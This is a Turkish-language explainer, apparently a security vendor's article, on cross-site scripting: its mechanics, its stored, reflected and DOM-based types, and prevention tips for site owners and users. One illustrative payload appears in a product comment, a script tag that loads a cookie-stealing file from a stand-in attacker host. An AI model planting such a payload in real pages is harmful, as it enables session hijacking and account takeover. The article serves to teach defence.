Siteler arası komut dizisi nedir?
Bazen XSS olarak ifade edilen siteler arası komut dizisi saldırıları, normalde güvenilir olan web sitelerine kötü amaçlı kod yerleştirilmesini içerir. Siteler arası komut dizisi saldırısı, siber suçluların hedef alınan web sitesi içeriğine kötü amaçlı komut dosyaları yerleştirmesidir. Ardından dinamik içerik eklenerek kurbanın tarayıcısına gönderilir. Kurbanın tarayıcısı, kötü amaçlı komut dosyalarının güvenilir olmadığını anlayamaz ve bunları çalıştırır.
Sonuç olarak kötü amaçlı komut dosyaları tüm çerezlere, oturum belirteçlerine veya tarayıcı tarafından tutulan ve ilgili sitede kullanılan diğer hassas bilgilere erişebilir. Saldırganlar ayrıca XSS kullanarak kötü amaçlı yazılım yayabilir, web sitelerinin içeriklerini yeniden yazabilir, sosyal ağlarda sorun yaratabilir ve kullanıcı kimlik bilgilerine yönelik kimlik avı yapabilir. XSS doğrudan uygulamanın kendisini hedef almaması açısından diğer web saldırılarından farklıdır. Bunun yerine, risk altında olanlar web uygulamasının kullanıcılarıdır.
Siteler arası komut dizisi nasıl çalışır?
Siteler arası komut dizisi, saldırıya açık bir web sitesini manipüle ederek kötü amaçlı komut dizilerini kullanıcılara göndermesini sağlar. Bunda genellikle JavaScript kullanılır ancak her türlü istemci tarafı dili kullanılabilir. Siber suçlular arama çubukları, yorum kutuları veya oturum açma formları gibi kullanıcı girişleri kabul eden saldırıya açık işlevleri olan web sitelerini hedef alır. Suçlular, yasal olan web sitesine kötü amaçlı kodu ekler ve site her yüklendiğinde, kendi kötü amaçlı yazılımlarını yürütmesi için tarayıcıları kandırır.
JavaScript kurbanın tarayıcı sayfasında çalıştığından, kimlik doğrulaması yapılan kullanıcının hassas bilgileri oturumdan çalınabilir ve bu da kötü aktörlerin site yöneticilerini hedef almasına ve web sitelerinin riske atılmasına imkan tanıyabilir.
Kodun nasıl yerleştirildiğine bağlı olarak, kötü amaçlı içerik asıl web sayfasının kendisinde bulunmayabilir ve bunun yerine, sadece siteden faydalanma sırasında web sitesinin bir parçası olarak ortaya çıkan geçici bir unsur olabilir. Bu da asıl web sitesi ele geçirilmediği halde öyleymiş gibi görünmesine yol açabilir.
XSS saldırısı tetiklemenin farklı yolları vardır. Örneğin, sayfa yüklendiğinde veya bir kullanıcı, köprü bağlantısı gibi belirli sayfa unsurlarına rastladığında yürütme işlemi otomatik olarak tetiklenebilir. Bazı durumlarda XSS daha doğrudan bir şekilde (ör. bir e-posta mesajında) gerçekleşir. Bazı XSS saldırılarının belirli bir hedefi yoktur; saldırgan uygulamadaki ya da sitedeki bir açıktan yararlanır ve bu açığa yakalanan tüm şanssız kurbanlardan faydalanır.
Saldırının boyutuna bağlı olarak kullanıcı hesapları ele geçirilebilir, Trojan atı programları etkinleştirilebilir ve sayfa içeriği değiştirilebilir. Böylece kullanıcılar özel verilerini açıklamaları için kandırılabilir. Oturum çerezleri açığa çıkarılabilir ve bu da, suçluların geçerli kullanıcıları taklit etmesine ve özel hesaplarını kötüye kullanmasına imkan tanıyabilir.
Başarılı bir siteler arası komut dizisi saldırısı, çevrimiçi bir şirketin itibarı ve müşterileriyle ilişkileri üzerinde yıkıcı sonuçlara yol açabilir. Ne yazık ki XSS saldırılarının başarılı olmasına imkan tanıyan açıklar oldukça yaygın görülmektedir. XSS saldırıları; VBScript, Flash, ActiveX ve JavaScript de dahil olmak üzere çeşitli programlama ortamlarındaki açıklardan yararlanabilir. XSS öncelikli olarak JavaScript'i hedef alır çünkü bu dil, çoğu tarayıcıyla sıkı şekilde entegre edilmiştir. Sıklıkla kullanılan platformlardaki açıklardan yararlanabilme yeteneği, XSS saldırılarını tehlikeli ve yaygın hale getirir.
XSS'nin sonuçları
Saldırganların XSS açıklarından yararlanarak gerçekleştirebileceği kötü amaçlı işlem örnekleri şunlardır:
- Kullanıcıları kötü amaçlı web sitelerine yönlendirme.
- Kullanıcıların tuş vuruşlarını yakalama.
- Kullanıcıların tarayıcı geçmişine ve pano içeriklerine erişme.
- Web tarayıcısı tabanlı açıklardan yararlanma (ör. tarayıcının çökmesine yol açma).
- Web sitesinde oturum açan bir kullanıcının çerez bilgilerini ele geçirme.
- Giriş oturumu belirtecini çalarak, saldırganın (kurbanın parolasını öğrenmeye gerek kalmadan) uygulamayla kurban kimliğinde etkileşime girmesine imkan tanıma.
- Kullanıcıyı bir sunucuya saldırgan kontrolünde talepler göndermeye zorlama.
- Sayfa içeriklerini değiştirme.
- Kurbanı uygulamada veya diğer uygulamalarda kullandığı parolasını açıklaması için kandırma.
- Web tarayıcısının kendisindeki bir açıktan yararlanarak kurbanın bilgisayarına başka bir kötü amaçlı kod bulaştırma ve muhtemelen kurbanın bilgisayarını ele geçirme.
Bazı durumlarda bir XSS saldırısı, kurbanın hesabının tamamen ele geçirilmesine yol açabilir. Saldırganlar kullanıcıları, kimlik bilgilerini sahte formlara girmeleri için kandırabilir ve bu da saldırgana tüm bilgileri sağlar. Saldırganlar kimlik bilgilerini ele geçirdikten sonra, bunları kimlik hırsızlığı veya finansal sahtecilik amacıyla kullanabilir.
XSS saldırı türleri
Siteler arası komut dizisi üç temel kategoride sınıflandırılabilir: Depolanmış (Stored) XSS, Yansıtılan (Reflected) XSS ve DOM tabanlı XSS.
Depolanan siteler arası komut dizisi (Kalıcı XSS)
Kalıcı XSS olarak da bilinen depolanan XSS, en zararlı XSS saldırı türü olarak değerlendirilir. Depolanan XSS saldırısı, kullanıcı kaynaklı girişler depolandığında ve ardından bir web sayfasında işlendiğinde gerçekleşir. Depolanan XSS için tipik giriş noktaları mesaj forumlarını, blog yorumlarını, kullanıcı profillerini ve kullanıcı adı alanlarını içerir. Saldırgan tipik olarak bir sitenin popüler sayfalarına XSS yükleri yerleştirerek veya bir kurbana bağlantı aktarıp onu depolanan XSS yükünü içeren sayfayı görüntülemek üzere kandırarak bu açıktan yararlanır. Kurban sayfayı ziyaret ettiğinde yük, kurbanın web tarayıcısı tarafından istemci taraflı olarak yürütülür.
Yansıtılan siteler arası komut dizisi (Kalıcı Olmayan XSS)
En sık görülen XSS türü Yansıtılan XSS'dir (Kalıcı Olmayan XSS olarak da bilinir). Bu durumda saldırganın yükü, web sunucusuna gönderilen talebin bir parçasıdır. Ardından, HTTP yanıtı, HTTP talebinden yükü içerecek şekilde geri yansıtılır. Saldırganlar kurbanı kandırarak sunucuya istek göndermesini sağlamak için kötü amaçlı bağlantılar, kimlik avı e-postaları ve diğer sosyal mühendislik teknikleri kullanır. Ardından yansıtılan XSS yükü kullanıcının tarayıcısından çalıştırılır.
Yansıtılan XSS kalıcı bir saldırı değildir, yani saldırganın yükü her kurbana göndermesi gerekir. Bu saldırılar genellikle sosyal ağlar kullanılarak yapılır.
DOM tabanlı siteler arası komut dizisi
DOM tabanlı XSS, HTML'nin bir kısmı yerine DOM'de (Belge Nesne Modeli) ortaya çıkan siteler arası komut dizisi açıklarına denir. Yansıtılan ve depolanan siteler arası komut dizisi saldırılarında, açık kaynaklı yükü yanıt sayfasında görmeniz mümkündür ancak DOM tabanlı siteler arası komut dizisinde saldırının HTML kaynak kodu ve yanıtı aynı olacaktır, yani yükü yanıtta bulmak mümkün değildir. Sadece çalışma sırasında ya da sayfanın DOM'si incelenerek gözlemlenebilir.
DOM tabanlı bir XSS saldırısı genellikle bir istemci tarafı saldırıdır ve kötü amaçlı yük hiçbir zaman sunucuya gönderilmez. Bu da Web Uygulaması Güvenlik Duvarları (WAF'ler) ve sunucu kayıtlarını analiz eden güvenlik mühendisleri tarafından tespit edilmesini daha da güçleştirir çünkü saldırıyı hiçbir zaman göremezler. En sık manipüle edilen DOM nesneleri URL'yi (document.URL), URL'nin yer işaretini (location.hash) ve Başvuranı (document.referrer) içerir.
XSS saldırısı örneği
Örneğin: Kötü bir aktör, bir e-ticaret web sitesinde gezinirken, HTML etiketlerinin sitenin yorumlar bölümüne gömülmesine imkan tanıyan bir açık tespit eder. Gömülü etiketler sayfanın kalıcı özellikleri haline gelerek, sayfa her açıldığında tarayıcının bunları kaynak kodunun geri kalanıyla birlikte eklemesine yol açar.
Saldırgan bu satırların yanına yorum ekler: Çok değerli bir ürün. Tam incelememi burada okuyabilirsiniz <script src="http://attackersite.com/authstealer.js"> </script>.
Bunun ardından, sayfa her erişildiğinde yorumdaki HTML etiketi, başka bir sitede barındırılan ve ziyaretçilerin oturum çerezlerini çalabilecek olan bir JavaScript dosyasını etkinleştirir.
Saldırgan, oturum çerezini kullanarak ziyaretçinin hesabını ele geçirebilir ve kişisel bilgilerine ve finansal verilerine kolay erişim sahibi olur. Ziyaretçi sayfayı yorumlar kısmına dahi sürüklememiş olabilir ve saldırının gerçekleştiğinin farkında olmaz.
Komut dosyasının bağlantıya tıklandıktan sonra etkinleştiği yansıtılan saldırının aksine, depolanmış saldırıda kurbanın sadece ele geçirilmiş web sayfasını ziyaret etmesi yeterlidir. Bu saldırının kapsamını artırır ve ne kadar dikkatli olurlarsa olsunlar tüm ziyaretçileri tehlikeye atar.
Hem trafik alan hem de kalıcı komut dizisinin gömülmesine imkan tanıyan açıkları olan bir web sitesi bulmak zor olduğundan, saldırganlar açısından kalıcı XSS saldırıları gerçekleştirmek daha zordur.
Siteler arası komut dizisi engelleme
Web sitesi geliştiricilerinin/sahiplerinin siteler arası komut dizisi açıklarını en aza indirmek için yapması gerekenler:
- Web sitelerinde kullanıcı girişleri kabul eden tüm sayfaların HTML ve JavaScript gibi kod girişlerini filtrelemesini sağlamak.
- Her türlü web uygulaması açıkları için tarama yapmak ve bunları yama ile düzeltmek.
- Web sitelerini ve sunucu yazılımlarını güncelleyerek, gelecekte XSS saldırılarının açıklardan yararlanmasını engellemek.
Bağımsız kullanıcıların XSS saldırısına maruz kalmamak için yapması gerekenler:
- Sayfalarda komut dosyalarını gerekli olmayan yerlerde veya tamamıyla devre dışı bırakın.
- Şüpheli e-posta adreslerindeki bağlantılara ya da mesaj panolarındaki gönderilere tıklamaktan kaçının; bunlar sizi ele geçirilmiş sayfalara yönlendirebilir.
- Web sitelerine üçüncü taraf kaynak ya da bağlantı aracılığıyla erişmek yerine, tarayıcıya URL'lerini yazarak doğrudan erişin.
- En son hata düzeltmeleri ve güvenlik yamalarından faydalanmak için yazılımınızı güncel tutun. Yazılımları düzenli olarak güncellemek, bir siteyi ya da uygulamayı XSS saldırılarına açık hale getiren sorunları önemli oranda azaltacaktır.
- Gerekli olan ve nadiren kullanılan uygulamaları belirlemek için uygulamaları inceleyin. Kullanmadığınız uygulamalardan kurtulmak potansiyel açıkların sayısını azaltır.
- Kaspersky Total Security gibi yüksek kaliteli bir antivirüs yazılımı kullanın. Bu, cihazlarınızı ve verilerinizi güvence altına almak için 7/24 çalışır. Virüsler, kötü amaçlı yazılımlar, fidye yazılımları, casus uygulamaları gibi sık rastlanan karmaşık tehditlerin yanı sıra, tüm yeni korsan tekniklerini engeller.
İlgili makaleler: